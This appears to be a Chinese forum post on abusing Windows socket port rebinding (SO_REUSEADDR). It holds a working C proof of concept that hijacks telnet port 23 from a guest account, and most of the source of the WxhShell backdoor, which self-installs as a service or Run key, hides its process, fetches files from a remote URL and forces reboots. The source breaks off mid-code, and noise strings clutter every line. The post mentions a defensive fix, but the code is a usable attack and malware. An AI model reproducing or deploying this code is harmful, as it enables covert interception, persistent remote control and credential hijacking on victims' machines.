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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4BKI-;v$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E0?iXSJ  
])!o5`ltZ  
  saddr.sin_family = AF_INET; ut I"\1hQ  
5x>}O3Q_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gE?| _x#  
!! ? Mw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BFOq8}fX2  
HZf/CE9T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 '4#}e[e  
wL:flH@  
  这意味着什么?意味着可以进行如下的攻击: :65~[$2  
 W0]gLw9*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5qP:/*+  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %GS(:]{n  
XUlS\CH@{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g #6E|n  
fk x \=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HI11Jl}{  
=^5Alb a/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *N<&GH(j  
O|M{-)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wGP;Vbk  
LMAE)]N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p ObX42  
!GNBDRr  
  #include EG=Sl~~o  
  #include ]@Uq=?%  
  #include 0PrLuejz  
  #include    t?'!$6   
  DWORD WINAPI ClientThread(LPVOID lpParam);   Oz%>/zw[h  
  int main() A"rfZ`  
  { @0u~?!g@  
  WORD wVersionRequested; DS[#|  
  DWORD ret; z\%Ls   
  WSADATA wsaData; F 70R1OYU  
  BOOL val; f V'ZsJ N  
  SOCKADDR_IN saddr; $H9%J  
  SOCKADDR_IN scaddr; J:zU,IIJ  
  int err; Q{5kxw1ZF  
  SOCKET s; 3skC$mpJHw  
  SOCKET sc; 20nP/ e  
  int caddsize; n$ou- Q  
  HANDLE mt; "*srx]  
  DWORD tid;   `,(,t n_  
  wVersionRequested = MAKEWORD( 2, 2 ); ZGKu>yM  
  err = WSAStartup( wVersionRequested, &wsaData ); 4QIX19{"  
  if ( err != 0 ) { G%W8S \  
  printf("error!WSAStartup failed!\n"); Z Z:}AQ  
  return -1; ^8AXxE  
  } OD6\Mr2=  
  saddr.sin_family = AF_INET; |* ;B  
   ub\MlSr  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z-.+x3&o @  
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  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9vvx*rD  
  saddr.sin_port = htons(23); W)f/0QX}W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @3C>BLI8+  
  { m4l& eEp  
  printf("error!socket failed!\n"); WL?\5?G 9l  
  return -1; rcC<Zat,|  
  } U_n9]Z  
  val = TRUE; ([m mPyp>L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Lja>8m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xY^ %&n  
  { ;CPr]avY  
  printf("error!setsockopt failed!\n"); [J4gH^Z_  
  return -1; io-![^{  
  } "q.\>MCv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^Uf]Q$uCjE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sEGO2xeI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .@@?Pj?)  
^!<BQP7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) L"4mL,  
  { h1B16)  
  ret=GetLastError(); `</ff+Q6  
  printf("error!bind failed!\n"); <#u=[_H  
  return -1; |w<H!lGe!$  
  } 2;DuHO1  
  listen(s,2); ~^r29'3  
  while(1) A Sk|A!  
  { nwF2aRNV  
  caddsize = sizeof(scaddr); iA'lon  
  //接受连接请求 8L:ji,"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -v]Sr33L  
  if(sc!=INVALID_SOCKET) noml8o  
  { \1fN0e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hM6PP7XH  
  if(mt==NULL) vnM@QfN  
  { Hn%xDJ'  
  printf("Thread Creat Failed!\n"); (2^gVz=j  
  break; ~l]ve,W[  
  } O06"bi5Y  
  } , P70J b  
  CloseHandle(mt); \%f q  
  } ~&7MkkftM  
  closesocket(s); "J [K 3  
  WSACleanup(); a!"$~y$*  
  return 0; lFV N07hG  
  }   $ us]35Z3  
  DWORD WINAPI ClientThread(LPVOID lpParam) QD:{U8YbF$  
  { LXC9I/j/  
  SOCKET ss = (SOCKET)lpParam; y}My.c  
  SOCKET sc; pEIRh1  
  unsigned char buf[4096]; :+z4~% jA  
  SOCKADDR_IN saddr; l0PZ`m+;j  
  long num; ;h*K}U  
  DWORD val; C1m]*}U  
  DWORD ret; w~"KA6^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Kgi<UkFP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ->y J5smtY  
  saddr.sin_family = AF_INET; }NzpiY9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N D(/uyI  
  saddr.sin_port = htons(23); #t: S.A@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XBb~\p3y  
  { HUv/ ~^<  
  printf("error!socket failed!\n"); C9n?@D;S  
  return -1; kt["m.  
  } jY% na HaI  
  val = 100; s/q7.y7n{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p~BRh  
  { R3;Tk^5A  
  ret = GetLastError();  CohDO  
  return -1; Rv$[)`&T  
  } X[PZg{   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2[ RoxKm  
  { =u2l. CX  
  ret = GetLastError(); <UV1!2nv*  
  return -1; E[@ u 3i8  
  } V'8s8H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <SgM@0m  
  { z$/_I0[  
  printf("error!socket connect failed!\n"); ;*:]*|bw  
  closesocket(sc); pgI^4h  
  closesocket(ss); )FF>IFHG  
  return -1; VEqS;~[  
  } %,6#2X nX%  
  while(1) #\.,?A}9  
  { #LL?IRH9^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A: 5x|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7VqM$I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4cabP}gBk  
  num = recv(ss,buf,4096,0); +eyc`J  
  if(num>0) } z _  
  send(sc,buf,num,0); 6K-_pg]  
  else if(num==0) P@$/P99  
  break; p?7v$ev_  
  num = recv(sc,buf,4096,0); / ';0H_  
  if(num>0) KxYwJ  
  send(ss,buf,num,0); h|VeG3H  
  else if(num==0) [ sN EHf  
  break; 75"f2;  
  } ysxb?6  
  closesocket(ss); trPAYa}W  
  closesocket(sc);  -xSA  
  return 0 ; B_nVP  
  } OGde00  
kP#B5K_U|  
!;i`PPRwk  
========================================================== P&9Gga^I  
@kpv{`Y  
下边附上一个代码,,WXhSHELL )6,de2Pb  
^?0DP >XA  
========================================================== Vr6@> @SC  
hAYTj0GZ  
#include "stdafx.h" A+SE91m  
S M0~fAtE  
#include <stdio.h> lE;Ewg  
#include <string.h> 0E,8R{e  
#include <windows.h>  87<-kV  
#include <winsock2.h> @&%'4j&+  
#include <winsvc.h> q qpgy7  
#include <urlmon.h> 4}_j`d/8|  
BSYzC9h`  
#pragma comment (lib, "Ws2_32.lib") 9N9 L}k b  
#pragma comment (lib, "urlmon.lib") S{PJUAu  
,uo'c_f(e  
#define MAX_USER   100 // 最大客户端连接数 ?EJD?,}  
#define BUF_SOCK   200 // sock buffer A<5ZF27  
#define KEY_BUFF   255 // 输入 buffer  J7=+  
IE;~?W"  
#define REBOOT     0   // 重启 9xO#tu]  
#define SHUTDOWN   1   // 关机 $ACvV "b  
y4t7`-,~  
#define DEF_PORT   5000 // 监听端口 |X0Y-  
SSz~YR^}Sr  
#define REG_LEN     16   // 注册表键长度 yaah*1ip[  
#define SVC_LEN     80   // NT服务名长度 9K5pwC\$%  
Rv#]I#O  
// 从dll定义API E~%jX }/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tw^,G(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :`-,Lbg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OTGofd2zf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <KE 1f7c  
)~+E[|  
// wxhshell配置信息 @y='^DQ*  
struct WSCFG { 9:ze{ c $  
  int ws_port;         // 监听端口 i`Q KH  
  char ws_passstr[REG_LEN]; // 口令 |zQ4u  
  int ws_autoins;       // 安装标记, 1=yes 0=no =U#dJ^4P  
  char ws_regname[REG_LEN]; // 注册表键名 v@Gl|29_  
  char ws_svcname[REG_LEN]; // 服务名 "} q@Y=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OK{quM5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tSVc|j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qQA}Z*( m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;'5>q&[qbP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V.O(S\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AvdXEY(-  
7![,Q~Fy  
}; ZAv,*5&<  
3&u&x(   
// default Wxhshell configuration \@8+U;d  
struct WSCFG wscfg={DEF_PORT, n#q<`}u,  
    "xuhuanlingzhe", *pAV2V(!23  
    1, u+'tfFds&  
    "Wxhshell", [z9 `)VIe  
    "Wxhshell", "}pNe"ok  
            "WxhShell Service", \hBG<nH{0  
    "Wrsky Windows CmdShell Service", |+iws8xK?  
    "Please Input Your Password: ", CjlKMbnBH  
  1, h3bff#<K  
  "http://www.wrsky.com/wxhshell.exe", cW i}V  
  "Wxhshell.exe" T(f/ ?_%  
    }; Min ^>  
ebT:/wu,2  
// 消息定义模块 =x<ge_Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {DU`[:SQZg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Qa.<K{m#?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EQf[,  
char *msg_ws_ext="\n\rExit."; (iL|Sq&}b  
char *msg_ws_end="\n\rQuit."; f !s=(H;  
char *msg_ws_boot="\n\rReboot..."; 1+9W+$=h2  
char *msg_ws_poff="\n\rShutdown..."; POvP]G9'"  
char *msg_ws_down="\n\rSave to "; wQe_vY  
Pa~)"u 8  
char *msg_ws_err="\n\rErr!"; W#KpPDgZE  
char *msg_ws_ok="\n\rOK!"; `Jzp Sw  
*MJX?  
char ExeFile[MAX_PATH];  _59huC.  
int nUser = 0; kPVO?uO  
HANDLE handles[MAX_USER]; LL2=&VK  
int OsIsNt; lrv3fPIW  
-amBB7g  
SERVICE_STATUS       serviceStatus; A9wh(P0\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !q9+9 *6  
Zn ''_fjh  
// 函数声明 5[A@ gw0u  
int Install(void); .v$D13L(o  
int Uninstall(void); N'g>MBdI  
int DownloadFile(char *sURL, SOCKET wsh); c2&q*]?l;  
int Boot(int flag); lEhk'/~  
void HideProc(void); R $&o*K`?  
int GetOsVer(void); xn5l0'2  
int Wxhshell(SOCKET wsl); TMig-y*[  
void TalkWithClient(void *cs); l y(>8F  
int CmdShell(SOCKET sock); c&AygqN  
int StartFromService(void); _>| =L W@7  
int StartWxhshell(LPSTR lpCmdLine); 8>0e*jC  
*.!Np9l,V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8Le||)y,\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ed_N[ I   
.7l&1C)i  
// 数据结构和表定义 j!]YNH@  
SERVICE_TABLE_ENTRY DispatchTable[] = ; mZW{j  
{ ~g5[$r-u-u  
{wscfg.ws_svcname, NTServiceMain}, sOU1n  
{NULL, NULL} h&--,A >  
}; mT.u0KUIy  
DP3PYJ%+B  
// 自我安装 i[?Vin  
int Install(void) ie2WL\tR4  
{ [[;e)SoA  
  char svExeFile[MAX_PATH]; Zo g']=  
  HKEY key; 4iKgg[)7`=  
  strcpy(svExeFile,ExeFile); vSi.txV2  
~])t 6i  
// 如果是win9x系统,修改注册表设为自启动 bT^I"  
if(!OsIsNt) { B2C$N0R#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U$_xUG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UFp,a0|  
  RegCloseKey(key); :9^;Qv*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (X?%^^e!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I?ae\X@M  
  RegCloseKey(key); K95p>E`9e  
  return 0;  :}@g6   
    } ?TU}~}  
  } ] :BX!<  
} `Ye\p6v!+  
else { o1FF"tLkN  
>h k=VyU;  
// 如果是NT以上系统,安装为系统服务 f] J M /  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >(?9?  
if (schSCManager!=0) L1Iz<>  
{ ?<(m 5Al7  
  SC_HANDLE schService = CreateService [^U#Qj)hL  
  ( l zYnw)Pv  
  schSCManager, 6P5Ih  
  wscfg.ws_svcname, *:L?#Bw  
  wscfg.ws_svcdisp, Z; A`oKd  
  SERVICE_ALL_ACCESS, <;#~l*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YwZ Z{+n  
  SERVICE_AUTO_START, Qzlo'e1  
  SERVICE_ERROR_NORMAL, ?q; Fp  
  svExeFile, ReM=eS  
  NULL, S5G6Rj@W  
  NULL, G-?d3 n  
  NULL, DjN|Wr)*  
  NULL, ;K!]4tfJ  
  NULL (fCXxyZrr  
  ); mo[Zb0>  
  if (schService!=0) B, TB3 {  
  { WXmn1^"kK}  
  CloseServiceHandle(schService); vfq%H(  
  CloseServiceHandle(schSCManager); ds?v'|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lJE93rXU  
  strcat(svExeFile,wscfg.ws_svcname); {a4z2"\A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )0Me?BRp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X!m9lV<  
  RegCloseKey(key); 20Z8HwQi  
  return 0; b#K:_ac5  
    } qL6 |6-?  
  } Y@b.sMg{  
  CloseServiceHandle(schSCManager); }MHCd)78b  
} = Wu *+paQ  
} &<UMBAS  
hA33K #bC  
return 1; wYQ&C{D%  
} op6CA"w  
,ztI,1"k  
// 自我卸载 pb$~b\s]=  
int Uninstall(void) <K8\n^i~c  
{ `kU/NKq  
  HKEY key; Up,vD)tG  
/k<WNZM  
if(!OsIsNt) { Oh'Y0_oB>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aEWWFN  
  RegDeleteValue(key,wscfg.ws_regname); FKT1fv[H  
  RegCloseKey(key); }b0; 0j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5JLu2P  
  RegDeleteValue(key,wscfg.ws_regname); {WPobP"  
  RegCloseKey(key); UGuxV+Nwf  
  return 0; hWT[L.>k  
  } |'{zri|A"  
} ea~:}!-P  
} 7g(F#T?;'  
else { 4y5UkU9|  
m/qbRk68s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e`v`XSA[p  
if (schSCManager!=0) WN_pd%m  
{ Pw;!uag  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hDp6YV,q  
  if (schService!=0) 8krpowVs~  
  { |)K]U  
  if(DeleteService(schService)!=0) { i7utKj*57  
  CloseServiceHandle(schService); o`q_wdy?  
  CloseServiceHandle(schSCManager); ]<q[Do8k  
  return 0; T7d9ChU\#.  
  } hwI Mn33  
  CloseServiceHandle(schService); }LijnHH.  
  } ~DsECnD  
  CloseServiceHandle(schSCManager); f}@jFhr'<  
} (<Th=Fns?  
} jvV9eA:zl  
<@Fy5k-%.  
return 1; N]<!j$pOz  
} P7x =  
eU N"w,@y  
// 从指定url下载文件 wu4NLgkE  
int DownloadFile(char *sURL, SOCKET wsh) NSFs\a@1  
{ {M?vBg R\B  
  HRESULT hr; .^m>AKC0cX  
char seps[]= "/"; ryc& n5  
char *token; "n=vN<8(o  
char *file; V2<?ol  
char myURL[MAX_PATH]; \#>T~.Y7K  
char myFILE[MAX_PATH]; /g$G_}  
W":PG68  
strcpy(myURL,sURL); `St.+6^J  
  token=strtok(myURL,seps); fS"Hr0  
  while(token!=NULL) W5'3$,X9  
  { .]9c/  
    file=token; 1& '8Y  
  token=strtok(NULL,seps); WMBm6?54  
  } `r_m+]  
k~|-gf FP  
GetCurrentDirectory(MAX_PATH,myFILE);  =Mb1o[  
strcat(myFILE, "\\"); (}5S  
strcat(myFILE, file); h#hxOVl%x  
  send(wsh,myFILE,strlen(myFILE),0); 5 XA=G  
send(wsh,"...",3,0); ]l(wg]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5&e<#"  
  if(hr==S_OK) mnID3=JF  
return 0; Y2[A2Uy$ef  
else ?*oKX  
return 1; J-<^P5  
BkZV!Eg  
} ((^sDE6(  
JMS(9>+TA  
// 系统电源模块 -dO'~all  
int Boot(int flag) =SAU4xjo  
{ 80$fG8  
  HANDLE hToken; 9P<[7u  
  TOKEN_PRIVILEGES tkp; _"%B7FK  
zA;@@)hwR  
  if(OsIsNt) { XZ/[v8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BnM4T~reOF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I Nc^L  
    tkp.PrivilegeCount = 1; _zu?.I0^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~-83Q5/[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); //&j<vu s  
if(flag==REBOOT) { @Fpb-Qd"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -.|4Y#b:&  
  return 0; \Fe_rh  
} u?[ q=0.J7  
else { 3F#+~^2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z^9/v  
  return 0; er.CDKD%L  
} :vL1}H<  
  } 1H,g=Y4f%  
  else { x#N-&baS  
if(flag==REBOOT) { `:eViVl6e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,JEbd1Uf  
  return 0; >z`,ch6~  
}  A, PlvI  
else { 1[*{(e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tyDY'W\]  
  return 0; yt+}K)Hz  
} 7DfTfTU6  
} "W#t;;9Wz  
pfd#N[c  
return 1; }N*>QR5K  
} vwr74A.g0  
{@u<3 s  
// win9x进程隐藏模块 XIWm>IQ[)  
void HideProc(void) (#oycj^<  
{ ;_:Ool,  
sK 2 e&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9%IlW  
  if ( hKernel != NULL ) #2:a[ ~Lf  
  { jb /8?7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /"ymZI!k\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F#{gfh  
    FreeLibrary(hKernel); (Bo bB]~a  
  } |fHB[ W#  
{FI\~ q  
return; vSW L$Y2  
} Y?#i{ixX6n  
[ "xn5l E  
// 获取操作系统版本 X[W]=yJJ  
int GetOsVer(void) ]=!P(z|  
{ I@l>w._.  
  OSVERSIONINFO winfo; D0;tcm.$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !?[oIQ)h  
  GetVersionEx(&winfo); U4Nh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g8'DoHJ*  
  return 1; M3zDtN  
  else D^Ys)- d  
  return 0; 0 3~Ikll  
} r Db>&s3  
1IgHc.s  
// 客户端句柄模块 t?^9HP1b_  
int Wxhshell(SOCKET wsl) WjMS5^ _  
{ OSzjK7:  
  SOCKET wsh; ,eQ[Fi!!  
  struct sockaddr_in client; :ZxLJK9x1  
  DWORD myID; d/7lefF  
(}:C+p 'I  
  while(nUser<MAX_USER) &gc `<kLu  
{ Vdn.)ir~P  
  int nSize=sizeof(client); 9zgNjjCl]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %So] 3;'  
  if(wsh==INVALID_SOCKET) return 1; P=H+ #  
o7+>G~i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L<(VG{)Z  
if(handles[nUser]==0) Zwe[_z!*D  
  closesocket(wsh); J Lb6C 52  
else x:t<ZG&Xwg  
  nUser++; mo1 puU  
  } N*DhjEU)[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :[M[(  
%McO6.M@  
  return 0; e@F|NCQ.9  
} ;5 <-)  
tLcEl'Eo  
// 关闭 socket 0>!/rR7  
void CloseIt(SOCKET wsh) WP-jtZ?!"  
{ I"xWw/Ec  
closesocket(wsh); ,f: jioY  
nUser--; Q1>zg,r  
ExitThread(0); <E':[.zC  
} J  fcMca  
xfSG~csoz  
// 客户端请求句柄 /'y5SlE[J  
void TalkWithClient(void *cs) R#4 ^s  
{ 2r ];V'r  
zL s^,x  
  SOCKET wsh=(SOCKET)cs; !;>(i e\  
  char pwd[SVC_LEN]; {aN(d3c  
  char cmd[KEY_BUFF]; Fu8 7fVi/\  
char chr[1]; #B\=Aa`*  
int i,j; JatHSW7j9  
EaS~`  
  while (nUser < MAX_USER) { R V!o4"\]  
9u wL{P&  
if(wscfg.ws_passstr) { U |F>W~%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [V@yRWI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "7?js $  
  //ZeroMemory(pwd,KEY_BUFF); 1a9w(X  
      i=0; MB:n~>ga  
  while(i<SVC_LEN) { #Y[H8TW  
pH9HK  
  // 设置超时 h'^FrWaU/  
  fd_set FdRead; ZHy><=2  
  struct timeval TimeOut; ?gV'(3 !  
  FD_ZERO(&FdRead); !=[uT+v  
  FD_SET(wsh,&FdRead); Z|^MGyn  
  TimeOut.tv_sec=8; CKTrZxR"  
  TimeOut.tv_usec=0; %OI4a5V*l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BV9*s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xa`(;CLW?  
W._G0b4}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); = cfm=+  
  pwd=chr[0]; @)sc6 *lnW  
  if(chr[0]==0xd || chr[0]==0xa) { $ u2Cd4  
  pwd=0; FU@uH U5fd  
  break; Wp*sP Z  
  } R'EW7}&  
  i++; U($^E}I2(  
    } GhnE>d;i  
$P?{O3:V  
  // 如果是非法用户,关闭 socket J5T=!wF (  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]+IVSxa!u  
} 0&`}EXe<f  
#t5juX9Ho9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9YSVK\2$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |vy]8?Ak  
<`JG>H*B6  
while(1) { !C7<sZ`C  
-,>:DUN2  
  ZeroMemory(cmd,KEY_BUFF); rrQ0qg  
",Wf uz  
      // 自动支持客户端 telnet标准   Pi%tsKk%  
  j=0; \o9@>&2  
  while(j<KEY_BUFF) { 6H;kJHn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i=Kvz4h  
  cmd[j]=chr[0]; u[t>Tg2R  
  if(chr[0]==0xa || chr[0]==0xd) { P,1exgq9  
  cmd[j]=0; vug-n 8  
  break; ~yN(-I1P  
  } dy_.(r5[L]  
  j++; \r]('x3S  
    } $DV-Ieb  
fH!=Zb_{8  
  // 下载文件 H!JWc'(<$  
  if(strstr(cmd,"http://")) { EHWv3sR-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p#b{xK  
  if(DownloadFile(cmd,wsh)) R+^zy"~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \|!gPc%s  
  else L; C|ow^c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,iOZ |  
  } 'aPCb`^;w  
  else { gY\mXM*^  
{gIEZ{  
    switch(cmd[0]) { [ i9[Mj  
  Bi_J5 If  
  // 帮助 9&(.x8d,a  
  case '?': { 3^H/LWx`{]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ork|yj/A  
    break; ZPYH#gC& T  
  } j@g!R!7)  
  // 安装 Ge9}8  
  case 'i': { gCwt0)  
    if(Install()) t|".=3%G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <"ae4  
    else 14u^[M" U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iJ*%dio  
    break; ./!KE"!  
    } ^=#!D[xj>  
  // 卸载 q/J3cXa{K  
  case 'r': { 8AX3C s_G  
    if(Uninstall()) g!5#,kJM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o?=fhc  
    else c V(H<"I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]84YvpfW  
    break; 7`+UB>8  
    } wKrdcWI,Z  
  // 显示 wxhshell 所在路径 /p[y1  
  case 'p': { 7?]!Ecr"  
    char svExeFile[MAX_PATH]; )Jz!Ut  
    strcpy(svExeFile,"\n\r"); 0&o WfTg  
      strcat(svExeFile,ExeFile); o(nHB g  
        send(wsh,svExeFile,strlen(svExeFile),0); `L">"V`$Bj  
    break; "{6KZ!+0  
    } +TWJNI  
  // 重启 +ks$UvtY  
  case 'b': { xx}'l:}2 ]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'T{pdEn8u  
    if(Boot(REBOOT)) tQ6|PV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~:s!].H  
    else { ~s0P FS7  
    closesocket(wsh); v5gQ9  
    ExitThread(0); %SFw~%@3&~  
    } y (ldO;.  
    break; e7wKjt2fy  
    } 6z`8cI+LRw  
  // 关机 ]d~MEa9Y|  
  case 'd': { 7Fc |  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wtUG^hV #_  
